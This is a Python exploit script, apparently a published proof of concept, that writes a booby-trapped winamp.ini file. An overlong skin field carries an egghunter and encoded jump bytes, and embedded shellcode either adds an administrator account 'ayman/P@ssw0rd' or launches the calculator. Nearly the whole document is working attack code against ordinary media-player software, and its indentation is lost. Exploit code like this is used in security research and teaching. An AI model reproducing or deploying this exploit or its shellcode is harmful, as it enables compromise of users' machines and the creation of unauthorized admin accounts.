|
import sys, getopt, os
def usage():
print('winampevilskin.py by Ayman Sagy <aymansagy@gmail.com>\n')
print('Usage: python ' + sys.argv[0] + ' -p <payload>')
print('Payload could be:')
print('\t[user] to create new admin account ayman/P@ssw0rd')
print('\t[calc] run calculator')
print('for e.g.: python ' + sys.argv[0] + ' -p user')
scadduser = ( b"\xbf\xab\xd0\x9a\x5b\xda\xc7\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x45\x83\xc2\x04\x31\x7a\x11\x03\x7a\x11\xe2\x5e\x2c" +
"\x72\xd2\xa0\xcd\x83\x85\x29\x28\xb2\x97\x4d\x38\xe7\x27" +
"\x06\x6c\x04\xc3\x4a\x85\x9f\xa1\x42\xaa\x28\x0f\xb4\x85" +
"\xa9\xa1\x78\x49\x69\xa3\x04\x90\xbe\x03\x35\x5b\xb3\x42" +
"\x72\x86\x3c\x16\x2b\xcc\xef\x87\x58\x90\x33\xa9\x8e\x9e" +
"\x0c\xd1\xab\x61\xf8\x6b\xb2\xb1\x51\xe7\xfc\x29\xd9\xaf" +
"\xdc\x48\x0e\xac\x20\x02\x3b\x07\xd3\x95\xed\x59\x1c\xa4" +
"\xd1\x36\x23\x08\xdc\x47\x64\xaf\x3f\x32\x9e\xd3\xc2\x45" +
"\x65\xa9\x18\xc3\x7b\x09\xea\x73\x5f\xab\x3f\xe5\x14\xa7" +
"\xf4\x61\x72\xa4\x0b\xa5\x09\xd0\x80\x48\xdd\x50\xd2\x6e" +
"\xf9\x39\x80\x0f\x58\xe4\x67\x2f\xba\x40\xd7\x95\xb1\x63" +
"\x0c\xaf\x98\xe9\xd3\x3d\xa7\x57\xd3\x3d\xa7\xf7\xbc\x0c" +
"\x2c\x98\xbb\x90\xe7\xdc\x34\xdb\xa5\x75\xdd\x82\x3c\xc4" +
"\x80\x34\xeb\x0b\xbd\xb6\x19\xf4\x3a\xa6\x68\xf1\x07\x60" +
"\x81\x8b\x18\x05\xa5\x38\x18\x0c\xc6\xd3\x82\x81\x6d\x54" +
"\x2e\xfe\x42\xc7\x90\x90\xf9\x73\xf1\x19\x72\x19\x83\xc1" +
"\x15\x98\x0e\x63\xbb\x7a\x81\x23\x30\x08\x56\x94\xc4\x8a" +
"\xb8\xfb\x69\x17\xfd\x23\x4f\xb1\xdd\x4d\xea\xc9\x3d\xfe" +
"\x9b\x52\x5f\x92\x04\xe7\xf0\x1f\xba\x27\x4e\x84\x57\x41" +
"\x3e\x2d\xd4\xe5\xcc\xcc\x6e\x69\x43\x7c\xae\x14\xda\xef" +
"\xcf\xb8\x3c\xdf\x4e\x01\x79\x1f"
)
sccalc = (b"\x31\xC9"+
"\x51"+
"\x68\x63\x61\x6C\x63"+
"\x54"+
"\xB8\xC7\x93\xC2\x77"+
"\xFF\xD0"
)
if len(sys.argv) < 2:
usage()
exit(1)
try:
opts, args = getopt.getopt(sys.argv[1:],'p:')
except getopt.GetoptError:
usage()
exit(1)
for opt, arg in opts:
if opt == '-p':
if arg == 'user':
shellcode = "aymnaymn" + "\x90" + "\x90" * 100 + scadduser + "\x90" * 89
elif arg == "calc":
shellcode = "aymnaymn" + b"\x90" * 452 + b"\x90" + sccalc + b"\x90" * 23
else:
print("Error: Invalid payload.\n")
usage()
sys.exit()
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+
"\xef\xb8\x61\x79\x6d\x6e\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
sploit = (
"\x50\x72\x50"+
"\x72" +
"\x59\x72\x5f"+
"\x72" +
"\x05\xc2\x02\x01"+
"\x72"+
"\x2d\xc2\x01\x01"+
"\x72\x48"+
"\x72\x48"+
"\x72\x48"+
"\x72\x48\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x90"+
"\x72\x40\x72"+
"\xc2\x91"
"\x72" +
"\xc3\x86\x66"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x81"+
"\x72\x40\x72"+
"\xc3\x86\xc3\x8a"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xbf"+
"\x72\x40\x72"+
"\xc3\x86\x0f"+
"\x72\x40\x72"+
"\xc3\x86\x42"+
"\x72\x40\x72"+
"\xc3\x86\x52"+
"\x72\x40\x72"+
"\xc3\x86\x6a"+
"\x72\x40\x72"+
"\xc3\x86\x02"+
"\x72\x40\x72"+
"\x34" * 4 +
"\xc3\xb0\x30"+
"\x72"
"\xc3\x86\x58"+
"\x72\x40\x72"+
"\xc3\x86\xc3\x8d"+
"\x72\x40\x72"+
"\xc3\x86\x2e"+
"\x72\x40\x72"+
"\xc3\x86\x3c"+
"\x72\x40\x72"+
"\xc3\x86\x05"+
"\x72\x40\x72"+
"\xc3\x86\x5a"+
"\x72\x40\x72"+
"\xc3\x86\x74"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xaf"+
"\x72\x40\x72"+
"\xc3\x86\xc2\xb8"+
"\x72\x40\x72"+
"\xc3\x86\x61"+
"\x72\x40\x72"+
"\xc3\x86\x79"+
"\x72\x40\x72"+
"\xc3\x86\x6d"+
"\x72\x40\x72"+
"\xc3\x86\x6e"+
"\x72\x40\x72"+
"\xc3\x86\xc2\x8b"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xba"+
"\x72\x40\x72"+
"\xc3\x86\xc2\xaf"+
"\x72\x40\x72"+
"\xc3\x86\x75"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xaa"+
"\x72\x40\x72"+
"\xc3\x86\xc2\xaf"+
"\x72\x40\x72"+
"\xc3\x86\x75"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xa7"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xbf"+
"\x72\x40\x72"+
"\xc3\x86\xc3\xa7"+
"\x72"+
"\x57"+
"\x72"+
"\xc3\x83"+
"\x34" * 200
)
winamp = ("[Winamp]\r\nutf8=1\r\n" +
"skin=" + sploit + "\r\n"
"[WinampReg]\r\nIsFirstInst=0\r\nNeedReg=0\r\n" +
"[in_wm]\r\nnumtypes=7\r\n" +
"type0=WMA\r\ndescription0=Windows Media Audio File (*.WMA)\r\n" +
"protocol0=0\r\navtype0=0\r\n" +
"type1=WMV\r\ndescription1=Windows Media Video File (*.WMV)\r\n" +
"protocol1=0\r\navtype1=1\r\ntype2=ASF\r\n" +
"description2=Advanced Streaming Format (*.ASF)\r\n" +
"protocol2=0\r\navtype2=1\r\ntype3=MMS://\r\n" +
"description3=Windows Media Stream\r\nprotocol3=1\r\n" +
"avtype3=1\r\ntype4=MMSU://\r\n"
"description4=Windows Media Stream\r\nprotocol4=1\r\n" +
"avtype4=1\r\ntype5=MMST://\r\n" +
"description5=Windows Media Stream\r\nprotocol5=1\r\n" +
"avtype5=1\r\ntype5=" + "\x90\x90\xe9\x0f" + "\r\ndescription6=" +
shellcode + "\r\nprotocol6=0\r\navtype6=0\r\n")
f = open("winamp.ini", "wb") or sys.exit("Error creating winamp.ini")
f.write(winamp)
f.close()
|